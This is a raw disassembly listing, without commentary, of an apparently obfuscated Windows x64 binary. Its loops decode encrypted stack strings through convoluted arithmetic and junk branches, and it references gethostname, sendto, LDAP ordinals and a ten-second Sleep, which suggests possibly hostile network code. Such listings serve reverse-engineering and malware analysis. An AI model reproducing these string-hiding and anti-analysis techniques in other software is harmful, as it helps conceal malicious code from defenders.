add dl, r10b
jmp 0x14021595f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140215ae1
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xc
movzx eax, byte [rbp + rbx - 0x70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402154a2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140215b03
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7c
jmp 0x140215e1d
cmp r8, rcx
jne 0x140215b26
movzx r11d, bl
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x58
jmp 0x140215de7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140215b4e
lea ecx, [rbx + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x34
dec rbx
inc rbx
jmp 0x1402154a2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14021595f
movzx r11d, bl
lea edx, [r11 - 0x4c]
mov ecx, 0xa
jmp 0x140215d71
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140215b88
movzx r11d, bl
lea edx, [r11 + 0x5e]
mov ecx, gethostname
jmp 0x140215d71
inc rax
cmp r8, rax
jne 0x140215bb2
lea ecx, [rbx - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6e
inc r9
dec rbx
inc rbx
jmp 0x1402154a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140215bd4
lea ecx, [rbx + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 2
jmp 0x140215e1d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140215bf4
lea edx, [rbx - 0xa]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
add cl, cl
jmp 0x140215e4e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14021591b
lea edx, [rbx + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140215e76
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140215c4d
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x18
movzx eax, byte [rbp + rbx - 0x70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402154a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140215c6d
lea edx, [rbx - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
jmp 0x140215e4e
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140215c92
lea edx, [rbx + 0x38]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x140215e1d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140215cba
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x40
dec rbx
inc rbx
jmp 0x1402154a2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1402158db
movzx r11d, bl
lea edx, [r11 + 0x48]
mov ecx, 4
jmp 0x140215d71
movzx r11d, bl
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + rbx - 0x70]
sub cl, al
add cl, 0x28
add cl, cl
add dl, cl
jmp 0x140215de7
lea edx, [rbx + 0x14]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add dl, cl
jmp 0x140215e53
lea edx, [rbx - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
add cl, cl
jmp 0x140215e4e
lea ecx, [rbx - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1a
dec rbx
inc rbx
jmp 0x1402154a2
movzx r11d, bl
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x62
jmp 0x140215d80
movzx r11d, bl
lea edx, [r11 - 0x7a]
mov ecx, Ordinal_46
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
sub r11b, 0x52
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_33
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
mov byte [rbp + rbx - 0x70], cl
inc r9
dec rbx
inc rbx
jmp 0x1402154a2
lea edx, [rbx - 2]
mov ecx, 7
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec rbx
inc rbx
jmp 0x1402154a2
movzx r11d, bl
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x16
sub r11b, 0xe
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + rbx - 0x70], cl
jmp 0x140215e1d
lea ecx, [rbx + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x3a
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1402154a2
lea rcx, [rbx + r15]
movzx r10d, r11b
and r11b, cl
mov eax, 0x3f
sub al, r11b
lea edx, [rax + rax]
add dl, cl
add dl, r10b
lea ecx, [rbx + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x7a
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx - 0x70], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x68
add cl, r10b
mov byte [rbp + rbx - 0x70], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx - 0x70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402154a2
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, byte [rbp + rbx - 0x70]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1402154a2
sub bl, 0x56
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, bl
add dl, r10b
jmp 0x1402154a0
add bl, 0x66
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, bl
add dl, r10b
jmp 0x140215490
lea rdx, [rbp + 0x15b2268]
jmp 0x140215f2b
lea rdx, [rbp + 0x14aeb8a]
jmp 0x140215f2b
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x130]
call fcn.1400495d0
mov rcx, rax
call fcn.1402180e0
mov dword [rsp + 0x30], 0x747e939b
mov dword [rsp + 0x34], 0x404a434d
mov dword [rsp + 0x38], 0x6076425f
mov dword [rsp + 0x3c], 0x52425e45
mov dword [rsp + 0x40], 0x6f989a5d
mov dword [rsp + 0x44], 0x495f5758
mov dword [rsp + 0x48], 0x6751535d
mov dword [rsp + 0x4c], 0xafae9ca9
mov dword [rsp + 0x50], 0xa66caba5
mov dword [rsp + 0x54], 0x7456a8bc
mov dword [rsp + 0x58], 0xaa9d957a
mov dword [rsp + 0x5c], 0xa0b9b1ba
mov dword [rsp + 0x60], 0xa2998dbb
mov dword [rsp + 0x64], 0xb2bba9b7
mov dword [rsp + 0x68], 0xbf867373
mov dword [rsp + 0x6c], 0x8290848e
mov dword [rsp + 0x70], 0x88be8a8a
mov dword [rsp + 0x74], 0x8a9a869d
mov dword [rsp + 0x78], 0x9a814785
mov word [rsp + 0x7c], 0xd9f
xorps xmm0, xmm0
movups xmmword [rsp + 0x7e], xmm0
movabs r15, 0x35aac3b9cde4d5e4
movabs r12, 0xe300e1883d0b8504
movabs r13, 0xa1004b2d69ae81ac
movzx r11d, byte [rbp + 0x3c0]
nop dword [rax]
mov r8, qword [0x1404e35d0]
mov r9, qword [0x1404e35c8]
nop
xor esi, esi
cmp rsi, 0x5e
jae 0x140216ae4
movzx r10d, byte [rsp + rsi + 0x30]
mov rbx, r10
cmp r8, rsi
ja 0x140216adb
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140216061
lea rcx, [rsi + r15]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x3c
jmp 0x1402160b0
je 0x140216a67
lea rax, [r9 + 3]
cmp r8, rax
je 0x1402169e0
lea rax, [rcx + 1]
cmp r8, rax
je 0x1402169b2
lea rax, [r9 + 2]
cmp r8, rax
je 0x140216993
lea rax, [r9 + 5]
cmp r8, rax
je 0x14021694f
lea rax, [r9 + 4]
cmp r8, rax
je 0x14021692a
nop dword [rax + rax]
mov rbx, r8
cmp r9, rsi
ja 0x140216ad2
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x1402160e1
lea edx, [rsi - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140216111
lea rax, [r9 + 1]
cmp r8, rax
je 0x1402168e2
lea rax, [r9 + 3]
cmp r8, rax
je 0x1402168c1
lea rax, [r9 + 5]
cmp r8, rax
je 0x1402168a2
cmp r8, rcx
je 0x140216884
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x140216565
nop
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140216544
lea rax, [r9 + 5]
cmp r8, rax
je 0x140216520
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140216513
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1402164f4
lea rax, [r9 + 1]
cmp r8, rax
je 0x1402164e7
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1402164c8
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1402164ac
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140216120
lea r8, [r9 + 0x80]
lea r9, [r8 + 2]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140216ab1
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140216a94
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1402162a6
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140216288
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14021642d
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1402163e5
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1402163c2
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140216120
lea r8, [r9 + 3]
lea r9, [r8 + 5]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1402163a6
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140216388
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140216369
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14021634e
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14021632d
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14021630c
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1402162e4
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1402162c5
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140216120
lea r8, [r9 + 6]
lea r9, [r8 + 9]
jmp 0x140216120
lea edx, [rsi + 4]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1c
add r11b, dl
jmp 0x1402160b0
lea edx, [rsi + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140216032
lea edx, [rsi - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x60
movzx r14d, sil
jmp 0x1402168fd
lea edx, [rsi - 0x28]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rsi
inc rsi
jmp 0x140216022
lea ecx, [rsi + 0x10]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x70
dec rsi
inc rsi
jmp 0x140216022
lea ecx, [rsi + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
add r8, r9
jmp 0x1402169c7
lea ecx, [rsi - 0x48]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 8
jmp 0x1402169c7
lea edx, [rsi - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140216a04
lea edx, [rsi + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x18
add r11b, dl
jmp 0x140216a2a
lea edx, [rsi + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140216a7e
lea ecx, [rsi - 0x14]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x74
mov byte [rsp + rsi + 0x30], r11b
inc rsi
jmp 0x140216022
lea edx, [rsi + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r9, 0x200
jb 0x1402163d8
movzx r14d, sil
lea edx, [r14 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140216900
lea edx, [rsi - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xc
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 2
je 0x140216868
lea rcx, [r9 + 4]
cmp r8, rcx
jbe 0x140216679
lea edx, [rsi + 0x54]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4c
add r11b, dl
cmp r8, 5
jae 0x140216840
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x140216752
lea edx, [rsi + 8]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x38
jmp 0x1402163fc
lea edx, [rsi + 0x38]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140216a7e
lea edx, [rsi - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140216a04
lea edx, [rsi + 0x18]
mov ecx, Ordinal_46
jmp 0x14021699b
lea edx, [rsi + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x30
movzx r14d, sil
jmp 0x14021696a
lea edx, [rsi - 0x78]
mov ecx, 0x24
jmp 0x140216932
lea ecx, [rsi - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
inc r9
dec rsi
inc rsi
jmp 0x140216022
movzx r14d, sil
lea edx, [r14 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1402168fd
lea rax, [r9 + 3]
cmp rbx, rax
jae 0x140216589
lea edx, [rsi - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3c
jmp 0x140216443
lea rcx, [r9 + 1]
cmp rbx, rcx
jne 0x1402165ae
lea edx, [rsi + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140216a7e
cmp rbx, rax
jne 0x1402165d2
lea edx, [rsi - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140216a04
lea rax, [rcx + 1]
cmp rbx, rax
jne 0x1402165f6
lea ecx, [rsi - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
jmp 0x1402169c7
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14021660c
lea edx, [rsi - 0x78]
mov ecx, 0x24
jmp 0x14021699b
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x140216635
movzx r14d, sil
lea edx, [r14 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x30
jmp 0x14021696a
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14021664b
lea edx, [rsi + 0x18]
mov ecx, Ordinal_46
jmp 0x140216932
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140216446
movzx r14d, sil
lea edx, [r14 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1402168fd
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1402166a3
movzx r14d, sil
lea edx, [r14 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1402168fd
inc rax
cmp r8, rax
jne 0x1402166cf
lea ecx, [rsi - 0x1c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3c
inc r9
dec rsi
inc rsi
jmp 0x140216022
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1402166e5
lea edx, [rsi + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14021699b
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140216705
lea ecx, [rsi + 4]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
jmp 0x1402169c3
cmp r8, rcx
jne 0x140216729
lea edx, [rsi - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140216a04
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14021647a
lea edx, [rsi + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140216a7e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140216777
lea edx, [rsi - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140216a7e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14021679f
lea edx, [rsi + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140216a04
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1402167b5
lea edx, [rsi - 0x10]
mov ecx, gethostname
jmp 0x14021699b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1402167de
movzx r14d, sil
lea edx, [r14 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 8
jmp 0x14021696a
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14021680b
lea ecx, [rsi + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
dec rsi
inc rsi
jmp 0x140216022
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1402163ff
lea edx, [rsi + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rsi
inc rsi
jmp 0x140216022
movzx r14d, sil
lea edx, [r14 - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rsp + rsi + 0x30]
sub r11b, al
sub r11b, 0x60
add r11b, dl
add r11b, r10b
jmp 0x14021696d
lea edx, [rsi + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x140216a04
lea edx, [rsi + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x34
add r11b, dl
jmp 0x140216a04
lea edx, [rsi + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1402169c7
lea ecx, [rsi + 0xc]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x54
dec rsi
inc rsi
jmp 0x140216022
movzx r14d, sil
lea edx, [r14 + 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x64
add r11b, dl
sub r14b, 0x44
movzx eax, r10b
and al, r14b
add al, al
sub r10b, al
sub r10b, 0x24
add r10b, r14b
mov byte [rsp + rsi + 0x30], r10b
inc r9
dec rsi
inc rsi
jmp 0x140216022
lea edx, [rsi + 0x5c]
mov ecx, 0x3e
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rsi
inc rsi
jmp 0x140216022
movzx r14d, sil
lea edx, [r14 - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0xc
add r11b, dl
sub r14b, 0x7c
movzx eax, r10b
and al, r14b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, r14b
mov byte [rsp + rsi + 0x30], cl
add r8, r9
jmp 0x1402169c7
lea edx, [rsi - 0x34]
mov ecx, gethostname
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r8, r9
jmp 0x1402169c7
lea rcx, [rsi + r12]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140216022
movabs rcx, 0x77ab5a14a141d93c
add rcx, rsi
movzx r10d, bl
and bl, cl
mov eax, reloc.WLDAP32.dll_Ordinal_46
sub al, bl
lea r11d, [rax + rax]
add r11b, r10b
add r11b, cl
lea edx, [rsi + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x14
add cl, dl
movzx eax, cl
mov byte [rsp + rsi + 0x30], al
inc r9
add rax, r9
sub rsi, rax
lea ecx, [rsi + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x50
add r10b, cl
mov byte [rsp + rsi + 0x30], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rsi, rax
movzx eax, byte [rsp + rsi + 0x30]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140216022
lea rdx, [rsi + r13]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rsp + rsi + 0x30]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140216022
add sil, 0x74
movzx eax, r10b
and al, sil
add al, al
sub r10b, al
lea r11d, [rsi + r10]
sub r11b, 0x2c
jmp 0x140216020
sub sil, 0x54
movzx eax, r10b
and al, sil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, sil
jmp 0x140216010
lea rdx, [rbp + 0x17fb460]
jmp 0x140216ae9
lea rdx, [rbp + 0x648a44]
jmp 0x140216ae9
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x150]
call fcn.1400495d0
mov rcx, rax
call fcn.1402180e0
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x30], 0x6a744b5b
mov dword [rbp + 0x34], 0xe700b79
mov dword [rbp + 0x38], 0x667c0407
mov dword [rbp + 0x3c], 0x68181801
mov dword [rbp + 0x40], 0x67525c11
mov dword [rbp + 0x44], 0x11671f6e
mov dword [rbp + 0x48], 0x6f151b61
mov dword [rbp + 0x4c], 0x2724561d
mov dword [rbp + 0x50], 0x5c662359
mov word [rbp + 0x54], 0x522a
mov byte [rbp + 0x56], 0xbc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x57], xmm0
mov dword [rbp + 0x67], eax
mov word [rbp + 0x6b], ax
movabs rsi, 0xb319acbe1299b043
movabs r14, 0x4be712aea767325b
movabs r12, 0xe5b3b9328233d1d5
movabs r15, 0x194d063a37cd10c9
movzx r11d, byte [rbp + 0x3c0]
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x1404e35d0]
mov r9, qword [0x1404e35c8]
nop
xor ebx, ebx
cmp rbx, 0x3d
jae 0x14021771c
movzx r10d, byte [rbp + rbx + 0x30]
mov r8, r10
cmp rax, rbx
ja 0x140217713
lea rdx, [r9 + 1]
cmp rax, rdx
jae 0x140216bf1
lea rdx, [rbx + rsi]
mov rcx, r10
and rcx, rdx
imul r11, rcx, 0xfffffffffffffffe
add r11, r10
add r11, rdx
add r11b, 0x2b
jmp 0x140216c30
je 0x1402176ab
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x14021762e
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x1402175fe
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1402175bb
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140217597
nop dword [rax + rax]
cmp r9, rbx
ja 0x14021770a
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jae 0x140216c5c
lea edx, [rbx + 0x7f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x79
jmp 0x140216c90
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14021754f
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x14021752e
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x14021750e
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x1402174e5
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x1402171f7
nop dword [rax]
lea rcx, [r9 + 0x10]
cmp rax, rcx
je 0x1402171d6
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x1402171b2
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x14021718b
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x14021716a
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x14021714d
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x14021712c
lea rcx, [r9 + 8]
cmp rax, rcx
je 0x14021710b
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1402170f1
lea rcx, [r9 + 0xa]
cmp rax, rcx
je 0x1402170c2
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
je 0x140216ca0
lea rax, [r9 + 2]
lea r9, [rax + 0x20]
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x1402176f0
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x1402176d5
lea rcx, [r9 + 0x40]
cmp rax, rcx
jb 0x140216e81
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x140216e67
lea rcx, [r9 + 0x64]
cmp rax, rcx
jb 0x140216e4d
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jb 0x14021706c
lea rcx, [r9 + 0x200]
cmp rax, rcx
jb 0x140217023
lea rcx, [r9 + 1]
cmp rax, rcx
jb 0x140216fe2
lea rcx, [r9 + 0x400]
cmp rax, rcx
jb 0x140216fc0
lea rcx, [r9 + 3]
cmp rax, rcx
jb 0x140216ca0
lea rax, [r9 + 0x28]
lea r9, [rax + 0x28]
lea rcx, [r9 + 0x61]
cmp rax, rcx
ja 0x140216f98
lea rcx, [r9 + 0x42]
cmp rax, rcx
ja 0x140216f7e
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x140216f5d
lea rcx, [r9 + 8]
cmp rax, rcx
ja 0x140216f43
lea rcx, [r9 + 0x2a]
cmp rax, rcx
ja 0x140216f26
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x140216f02
lea rcx, [r9 + 2]
cmp rax, rcx
ja 0x140216ee2
lea rcx, [r9 + 0x20]
cmp rax, rcx
ja 0x140216ebf
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x140216e9b
lea rcx, [r9 + 0x40]
cmp rax, rcx
ja 0x140216ca0
mov rax, rcx
lea r9, [rcx + 0x7a]
jmp 0x140216ca0
